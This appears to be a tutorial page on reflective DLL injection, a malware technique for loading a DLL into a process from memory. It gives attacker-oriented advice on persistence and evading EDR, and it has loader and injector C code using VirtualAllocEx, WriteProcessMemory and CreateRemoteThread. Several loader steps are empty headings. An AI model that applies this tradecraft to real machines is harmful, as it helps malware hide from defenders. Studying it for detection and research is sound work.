Reflective DLL Injection

Reflective DLL injection allows an attacker to inject a DLL into a victim process entirely from memory rather than disk. First utilized by Stephen Fewer.

Introduction

Reflective DLL's are inherently different than traditional DLLs. In the sense that they are specifically crafted to be executed reflectively. I.E executing themselves.

In general, reflective DLL injection is typically used as a persistence mechanism after initial access has been achieved through other means like malicious Office macros or executable files.

Instead of writing the malicious DLL to disk, which could trigger security alerts, reflective DLL injection loads the DLL directly into memory of a legitimate process, making it harder to detect by traditional security measures.


Most EDR's have updated their capabilities to detect this default process injection technique utilized by Stephen Fewer along with his Remote Process Execution technique using the CreateRemoteThread API.

EDR's also scan newly created Executable memory blocks in remote processes that have PAGE_EXECUTE_READWRITE permissions. A way around this is to parse the PE headers and distribute the sections of PE to different locations.

NOTE: Also, it's important to note that changing Stephen Fewer's default reflective loader page permissions to PAGE_EXECUTE_READ to try to evade EDR will end in an ACCESS_VIOLATION error. This is because there are several different sections in the PE that have their own permissions (which we cover above).

Reflective DLL Injection

A reflective DLL exports a special function to inject itself when it's called. This function cannot include WinAPI functions or global variables as they rely on offsets set by the compiler which become invalid.

(Custom GetModuleHandle and GetProcAddress functions are required to resolve WinAPIs used in the ReflectiveFunction function. Make sure to include string hashing.)

Building Reflective DLL

Here are the steps needed to build a reflective dll.

  1. Open target process with RWX permissions and allocate memory large enough for the DLL.

  2. Copy the DLL into the allocated memory space.

  3. Calculate the memory offset within the DLL to the export used for doing reflective loading.

  4. Call CreateRemoteThread (or an equivalent undocumented API function like RtlCreateUserThread) to start execution in the remote process, using the offset address of the reflective loader function as the entry point.

  5. The reflective loader function finds the Process Environment Block (PEB) of the target process using the appropriate CPU register, and uses that to find the address in memory of kernel32.dll and any other required libraries.

  6. Parse the exports directory of kernel32 to find the memory addresses of required API functions such as LoadLibraryA, GetProcAddress, and VirtualAlloc.

  7. Use these functions to then properly load the DLL (itself) into memory and call its entry point, DllMain.

Makefile

If developing on linux, it's crucial we compile the DLL correctly.

x86_64-w64-mingw32-gcc -s -w -Wall -Wextra -masm=intel -shared -fPIC -e DllMain -Os -fno-asynchronous-unwind-tables Source/* -I Include -o Reflective.dll -lntdll -luser32 -DWIN_X64

The bread and butter of reflective DLL injection lies in the reflective loader function inside the DLL. This is responsible for patching IAT, fixing relocations, and executing the DLL's entrypoint.

// Create Exported caller function. Will be brute-forced by Inject.exe
__declspec(dllexport) VOID ReflectiveFunction() {
    // Sauce goes here :)
}

This is the function we will call in inject.exe once the DLL is loaded.

Brute forcing DLL Base address (from dll)

One thing I think is very interesting about the Special Reflective Function is the use of bruteforcing the DLL's base address from within the DLL.

Below we get a pointer to ReflectiveFunction (from within ReflectiveFunction!!) and traverse back until we get a valid DOS header (signifying the base address of the DLL image). This is what reflective programming is.

Once we have the base address of the DLL, we can proceed to path IAT & Relocations.

extern __declspec(dllexport) BOOL ReflectiveFunction() {

	// Brute forcing ReflectiveDllLdr.dll's base address, starting at ReflectiveFunction's address
	uTmpAddress = (ULONG_PTR)ReflectiveFunction;

	do
	{
		pImgDosHdr = (PIMAGE_DOS_HEADER)uTmpAddress;

		// Check if the current uTmpAddress is a DOS header
		if (pImgDosHdr->e_magic == IMAGE_DOS_SIGNATURE)
		{
			// To terminate false positives - we do another check by retrieving the NT header and checking its signature as well
			pImgNtHdrs = (PIMAGE_NT_HEADERS)(uTmpAddress + pImgDosHdr->e_lfanew);

			if (pImgNtHdrs->Signature == IMAGE_NT_SIGNATURE) {
				// If valid, the current uTmpAddress is ReflectiveDllLdr.dll's base address 
				uReflectiveDllModule = uTmpAddress;
				break;
			}
		}
		// Keep decrementing to reach the DLL's base address
		uTmpAddress--;

	} while (TRUE);
}

Allocate Memory and copy bytecode

Now we will allocate memory for the PE's bytecode. This can be done with a custom VirtualAlloc or NtAllocateVirtualMemory.

// Allocating memory for the PE
if ((pPeBaseAddress = pVirtualAlloc(NULL, PeHdrs.pImgNtHdrs->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) == NULL) {
	return FALSE;
}

// Copying PE sections
for (int i = 0; i < PeHdrs.pImgNtHdrs->FileHeader.NumberOfSections; i++) {
	memcpy(
		(PVOID)(pPeBaseAddress + PeHdrs.pImgSecHdr[i].VirtualAddress),
		(PVOID)(uReflectiveDllModule + PeHdrs.pImgSecHdr[i].PointerToRawData),
		PeHdrs.pImgSecHdr[i].SizeOfRawData
	);
}

Patching Import Address Table (IAT)

Now that we have the base address of the DLL (see above) we can patch the IAT.

Fix Base Relocations

Fixing Memory Permissions

Calculate & Execute DllMain EntryPoint

typedef BOOL(WINAPI* fnDllMain)(HINSTANCE, DWORD, LPVOID);

// Calculating ReflectiveDllLdr.dll's entry point address 
pDllMain = (fnDllMain)(pPeBaseAddress + PeHdrs.pImgNtHdrs->OptionalHeader.AddressOfEntryPoint)

Building Injector

For reflective DLL injection we load the dll into a buffer, parse the exports for the "Special Reflective Loader" function address, and create a new thread. Opposed to the traditional LoadLibraryW.

Here are the steps:

  • Load dll file into buffer

  • Open process handle

  • Parse export data directory for "Special Reflective Loader" offset.

  • Write dll buffer to external process.

  • Calculate external process base address buffer with the reflective function offset.

  • Create a new thread at reflective function address.

// Given an RVA, calculate it's offset by iterating through PE sections.
DWORD RVA2Offset(IN DWORD dwRVA, IN ULONG_PTR pBaseAddress) {

    PIMAGE_NT_HEADERS        pImgNtHdrs             = NULL;
    PIMAGE_SECTION_HEADER    pImgSectionHdr         = NULL;

    pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBaseAddress + ((PIMAGE_DOS_HEADER)pBaseAddress)->e_lfanew);
    if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
        return 0x00;

    pImgSectionHdr	= (PIMAGE_SECTION_HEADER)((PBYTE)&pImgNtHdrs->OptionalHeader + pImgNtHdrs->FileHeader.SizeOfOptionalHeader);

    // Iterates through the PE sections
    for (int i = 0; i < pImgNtHdrs->FileHeader.NumberOfSections; i++){

        // If the RVA is located inside the "i" PE section
        if (dwRVA >= pImgSectionHdr[i].VirtualAddress && dwRVA < (pImgSectionHdr[i].VirtualAddress + pImgSectionHdr[i].Misc.VirtualSize))
            // Calculate the delta and add it to the raw pointer
            return (dwRVA - pImgSectionHdr[i].VirtualAddress) + pImgSectionHdr[i].PointerToRawData;
    }

    printf("\t[!] Cound'nt Convert The 0x%0.8X RVA to File Offset! \n", dwRVA);
    return 0x00;
}

// Gets the Special Reflective function offset. 
// Offset is used when we are calculating the address in memory allocated w/ VirtualAlloc. (InjectAndRunDll)
DWORD GetReflectiveFunctionOffset(IN ULONG_PTR uRflDllBuffer) {

    PIMAGE_NT_HEADERS               pImgNtHdrs                      = NULL;
    PIMAGE_EXPORT_DIRECTORY         pImgExportDir                   = NULL;
    PDWORD                          pdwFunctionNameArray            = NULL;
    PDWORD                          pdwFunctionAddressArray         = NULL;
    PWORD                           pwFunctionOrdinalArray          = NULL;

    pImgNtHdrs = (PIMAGE_NT_HEADERS)(uRflDllBuffer + ((PIMAGE_DOS_HEADER)uRflDllBuffer)->e_lfanew);
    if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
        return 0x00;

    pImgExportDir              = ( PIMAGE_EXPORT_DIRECTORY ) (uRflDllBuffer + RVA2Offset(pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress, uRflDllBuffer));
    pdwFunctionNameArray       = ( PDWORD ) (uRflDllBuffer + RVA2Offset(pImgExportDir->AddressOfNames, uRflDllBuffer));
    pdwFunctionAddressArray    = ( PDWORD ) (uRflDllBuffer + RVA2Offset(pImgExportDir->AddressOfFunctions, uRflDllBuffer));
    pwFunctionOrdinalArray     = ( PWORD )  (uRflDllBuffer + RVA2Offset(pImgExportDir->AddressOfNameOrdinals, uRflDllBuffer));

    for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++){

        PCHAR pcFunctionName = (PCHAR)(uRflDllBuffer + RVA2Offset(pdwFunctionNameArray[i], uRflDllBuffer));

        if (strcmp(pcFunctionName, EXPORTED_FUNC_NAME) == 0)
            return RVA2Offset(pdwFunctionAddressArray[pwFunctionOrdinalArray[i]], uRflDllBuffer);
    }

    printf("\t[!] Cound'nt Resolve %s's Offset! \n", EXPORTED_FUNC_NAME);
    return 0x00;
}


// Takes in buffer, dllsize, and ReflectiveFunction address.
// Allocates memory, sets permissions, writes memory to remote process, and executes thread
BOOL InjectAndRunDll(IN HANDLE hProcess, IN DWORD dwRflFuncOffset, IN PBYTE pRflDllBuffer, IN DWORD dwRflDllSize) {

    PBYTE		pAddress                = NULL;
    SIZE_T		sNumberOfBytesWritten   = 0;
    HANDLE		hThread                 = NULL;
    DWORD		dwThreadId              = 0x00;
    if (!(pAddress = VirtualAllocEx(hProcess, NULL, dwRflDllSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READ))) {
        printf("\t[!] VirtualAllocEx Failed With Error: %d \n", GetLastError());
        return FALSE;
    }

    if (!WriteProcessMemory(hProcess, pAddress, pRflDllBuffer, dwRflDllSize, &sNumberOfBytesWritten) || dwRflDllSize != sNumberOfBytesWritten) {
        printf("\t[!] WriteProcessMemory Failed With Error: %d \n", GetLastError());
        return FALSE;
    }

    if (!(hThread = CreateRemoteThread(hProcess, NULL, 0x00, (LPTHREAD_START_ROUTINE)(pAddress + dwRflFuncOffset), NULL, 0x00, &dwThreadId))) {
        printf("\t[!] CreateRemoteThread Failed With Error: %d \n", GetLastError());
        return FALSE;
    }



    return TRUE;
}


int main() {
/* Read dll into buffer (not putting that here)*/
    // Parse PE Headers
    DWORD dwReflectiveFunctionsOffset = GetReflectiveFunctionOffset((UINT_PTR)lpDllBuffer);

    HANDLE hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, GetCurrentProcessId() );
    
    if (!InjectAndRunDll(hProcess, dwReflectiveFunctionsOffset, lpDllBuffer, dwFileSize)) {
        wprintf(L"[!] InjectAndRunDll Failed");
        return -1;
    }


}

References

Write-up by Stephen Fewer

Last updated